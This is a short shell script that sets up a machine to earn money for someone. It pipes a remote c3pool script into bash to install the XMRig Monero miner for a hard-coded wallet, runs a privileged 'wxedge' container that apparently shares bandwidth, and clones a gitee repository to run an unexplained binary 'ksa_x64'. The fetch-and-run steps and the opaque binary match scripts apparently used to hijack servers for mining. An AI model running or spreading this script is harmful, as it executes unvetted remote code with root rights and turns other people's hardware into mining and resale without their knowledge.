#!/bin/sh
apt-get update && \
apt-get install git && \
apt-get install docker.io && \
curl -s -L http://download.c3pool.com/xmrig_setup/raw/master/setup_c3pool_miner.sh | LC_ALL=en_US.UTF-8 bash -s 8Aqq9jdzDoDLsghMhqsPKZLn3nLjhgd1ecFW7PTUkeK9dvMnHJfJdpNNjtgXTL4QswDsABrPRoEicRQdFusyJQ2k2WTCBW1 && \
echo '{"registry-mirrors":["https://registry.docker-cn.com","http://hub-mirror.c.163.com","https://6kx4zyno.mirror.aliyuncs.com"]}' >> /etc/docker/daemon.json 
systemctl daemon-reload && \
systemctl restart docker && \
#docker pull https://docker.mirrors.ustc.edu.cn/onething1/wxedge && \
docker run -d --name=wxedge --restart=always --privileged --net=host  --tmpfs /run --tmpfs /tmp -v /media/wxedge_storage:/storage:rw  onething1/wxedge && \
git clone https://gitee.com/h455257166/ksa.git && \
cd ksa && \
chmod +x ksa* && \
./ksa_x64 && \
ifconfig
#systemctl start docker.service && \
#{"registry-mirrors":["https://6kx4zyno.mirror.aliyuncs.com"]}
